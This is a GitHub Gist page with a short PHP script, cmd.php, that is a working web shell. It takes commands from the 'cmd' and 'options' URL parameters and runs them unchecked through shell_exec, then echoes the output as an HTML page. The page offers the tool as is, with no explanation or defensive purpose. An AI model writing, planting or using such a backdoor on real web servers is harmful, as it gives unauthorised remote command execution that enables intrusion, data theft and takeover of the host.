Skip to content

Instantly share code, notes, and snippets.

@dino213dz
Created August 17, 2019 15:09
Show Gist options
  • Select an option

  • Save dino213dz/b8f066c51124eb7b9f5495503762d38e to your computer and use it in GitHub Desktop.

Select an option

Save dino213dz/b8f066c51124eb7b9f5495503762d38e to your computer and use it in GitHub Desktop.

Revisions

  1. dino213dz created this gist Aug 17, 2019.
    27 changes: 27 additions & 0 deletions cmd.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,27 @@
    <?php
    $cde=$_GET['cmd'];
    $options=$_GET['options'];
    $commande=$cde.' '.$options;
    $console_symbol='<b>&nbsp;&gt;&nbsp;</b>';

    echo '<html><head><title>'.$commande.'</title></head><body>';
    echo $console_symbol.' '.$commande.' : <HR>';
    $retour_cde=shell_exec(''.$commande.' 2>&1 >/tmp/cmd.log;while read ligne; do echo $ligne"</BR>"; done < /tmp/cmd.log');
    $retour_cde=str_replace(' ','&nbsp;',$retour_cde);
    $retour_cde=str_replace('&nbsp;&nbsp;','&nbsp;',$retour_cde);
    $lignes_retour_cde=explode('\n',$retour_cde);
    for($l=0;$l<count($lignes_retour_cde);$l++){
    if(trim($lignes_retour_cde[$l])!='')
    echo ''.$console_symbol.''.$lignes_retour_cde[$l].'</BR>';
    else{
    if($l<count($lignes_retour_cde)-1){
    //ligne vide
    echo '</BR>';
    }
    else { //fin du resultat de la commande
    echo '</span></div>';
    }
    }
    }
    echo '</body></html>';
    ?>